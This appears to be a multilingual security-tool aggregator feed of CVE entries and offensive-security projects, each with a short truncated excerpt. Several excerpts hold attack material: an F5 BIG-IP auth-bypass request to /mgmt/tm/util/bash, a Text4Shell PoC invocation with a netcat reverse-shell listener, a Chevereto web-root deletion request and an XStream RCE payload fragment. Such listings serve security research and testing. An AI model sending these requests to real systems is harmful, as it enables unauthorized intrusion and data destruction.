CVE-2026-92970

creationtimestamp| type| source ---|---|--- 2026-09-19 05:10:06+00:00| seen| https://bsky.app/profile/stackflag.bsky.social/post/3mvtw5uvoud2f...

CVE-2026-89334

creationtimestamp| type| source ---|---|--- 2026-09-19 05:07:34+00:00| seen| https://bsky.app/profile/cve.skyfleet.blue/post/eaxgjul2qehim...

insmod_block

insmodblock Linux: - - - - - - - От nu11secur1ty: https://github.com/nu11secur1ty/linux-nu11secur1ty Linux: - - - - - - - От nu11secur1ty: https://gitlab.com/nu11secur1ty/linux-nu11secur1ty txt Linux Kernel security modules by nu11secur1ty GNU GENERAL PUBLIC LICENSE Version 3, 29 June 2007...

dismap

🌀 Dismap — инструмент обнаружения и идентификации активов 中文 Readme Dismap позиционируется как инструмент обнаружения и идентификации активов. Он позволяет быстро определять протоколы и информацию об отпечатках, такие как web/tcp/udp, выявлять типы активов и подходит как для внутренних, так и для...

TryHack3M-Bricks-Heist

target:10.201.6.98 enumeration root@kitploit: nmap -A 10.201.6.98 поскольку здесь установлен WordPress с именем «brick by brick», а название этой комнаты — brick, вероятно, именно здесь можно найти уязвимость итак, давайте просканируем WordPress root@kitploit: wpscan --url https://bricks.thm...

DOMPurify

DOMPurify DOMPurify는 HTML, MathML, SVG를 위한 DOM 전용의 초고속이며 매우 관대한 XSS 새니타이저입니다. 사용법도 매우 간단하고 시작하기도 쉽습니다. DOMPurify는 2014년 2월에 시작되었으며, 그동안 버전 v3.4.15 에 도달했습니다. DOMPurify는 JavaScript로 실행되며 모든 최신 브라우저Safari 10+, Opera 15+, Edge, Firefox, Chrome - 그리고 Blink, Gecko, WebKit을 사용하는 거의 모든 것에서 작동합니다. MSIE나 기...

CVE-2022-1388-rs

CVE-2022-1388-rs Rust로 작성된 CVE-2022-1388 F5 BIG-IP iControl REST 인증 우회 RCE 스캐너 및 인터랙티브 셸 요약 마무리로, 이 취약점을 악용하기 위한 요청의 필요 조건 개요는 다음과 같습니다: Connection 헤더에 X-F5-Auth-Token이 포함되어야 합니다. X-F5-Auth-Token 헤더가 존재해야 합니다. Host 헤더는 localhost / 127.0.0.1이어야 하거나 Connection 헤더에 X-Forwarded-Host가 포함되어야 합니다. Auth...

john

John the Ripper This is the community-enhanced, "jumbo" version of John the Ripper. It has a lot of code, documentation, and data contributed by jumbo developers and the user community. It is easy for new code to be added to jumbo, and the quality requirements are low, although lately we've start...

CVE-2019-19654

CVE-2019-19654 Chevereto 서비스 거부 - = 3.13.5 Core, /dashboard/bulk 도구에서 발생. 관리자 계정을 가진 공격자가 임의의 경로를 삽입할 수 있습니다. 대량 가져오기 도구는 접근 가능한 모든 파일과 폴더를 제거합니다. 기본적으로 웹사이트를 자폭시킬 수 있습니다. "import" 작업을 /var/www/html 에 추가 root@kitploit: POST /json HTTP/1.1 Host: 192.168.0.88 User-Agent: Mozilla/5.0 X11; Ubuntu;...

CVE-2021-40113

CVE-2021-40113 Множественные уязвимости в веб-интерфейсе управления оптических сетевых терминалов ONT коммутаторов серии Cisco Catalyst Passive Optical Network PON могут позволить неаутентифицированному удалённому злоумышленнику выполнить следующие действия: войти в систему с учётными данными по...

isms-builder

ISMS Builder Самостоятельно размещаемая система управления информационной безопасностью — открытый исходный код, облако не требуется 📖 Wiki — использование Docker-образа и переменные окружения, архитектура и модули, FAQ, участие в разработке DE/EN ⚠️ Предупреждение о безопасности: поддельные...

CVE-2023-50070

CVE-2023-50070 Customer Support System 1.0 - Множественные уязвимости SQL-инъекций - saveticket Описание : Множественные уязвимости SQL-инъекций в /customersupport/ajax.php?action=saveticket в Customer Support System 1.0 позволяют аутентифицированным злоумышленникам выполнять произвольные...

dnsx

A fast and multi-purpose DNS toolkit designed for running DNS queries Features • Installation • Usage • Running dnsx • Wildcard • Notes • Join Discord dnsx is a fast and multi-purpose DNS toolkit designed for running various probes through the retryabledns library. It supports multiple DNS querie...

text4shell-exploit

text4shell-exploit Text4ShellCVE-2022-42889을 대상으로 하는 맞춤형 Python 기반 개념 증명PoC 익스플로잇으로, Apache Commons Text 버전 Example root@kitploit: python3 text4shell.py 127.0.0.1 192.168.1.2 4444 공격 머신에서 리스너를 설정했는지 확인하세요: root@kitploit: nc -nlvp 4444 페이로드 로직 The script injects: root@kitploit:...

CVE-2020-26217-XStream-RCE-POC

CVE-2020-26217-XStream-RCE-POC 예시 root@kitploit: package org.example; import com.thoughtworks.xstream.XStream; import java.io.IOException; public class CVE202026217 public static void mainString args throws IOException XStream xStream = new XStream; String payload = "\n" + " \n" + " \n" + " 0\n" ...

IronFox

IronFox QR-код F-Droid: IronFox — это форк Mull Browser от Divested Computing Group, основанный на Mozilla Firefox. Наша цель — продолжить наследие Mull, предоставив бесплатный веб-браузер с открытым исходным кодом, ориентированный на приватность и безопасность, для повседневного использования...

CVE-2022-1388-Exploit-POC

CVE-2022-1388 익스플로잇 POC F5 BIG IP root@kitploit: POST /mgmt/tm/util/bash HTTP/1.1 Host: REDACTED:8083 Content-Length: 45 Connection: Keep-Alive,X-F5-Auth-Token Cache-Control: max-age=0 X-F5-Auth-Token: SherlockSecure Content-Type: application/json Authorization: Basic YWRtaW46aG9yaXpvbjM=...

CVE-2026-92806

creationtimestamp| type| source ---|---|--- 2026-09-19 04:50:05+00:00| seen| https://bsky.app/profile/stackflag.bsky.social/post/3mvtv247q2y25...

CVE-2026-92780

creationtimestamp| type| source ---|---|--- 2026-09-19 04:50:04+00:00| seen| https://bsky.app/profile/stackflag.bsky.social/post/3mvtv22ruuv2f...

Hacknetics

Hacknetics Hacknetics 🛡️ Владелец: ice-wzl Участники: ice-wzl, Jfox32199 Пожалуйста, рассмотрите возможность пожертвования: https://buymeacoffee.com/icewzl Описание: Ваш универсальный справочник для OSCP и Red Teaming! 🚀 Этот репозиторий содержит тщательно подобранную коллекцию фрагментов кода,...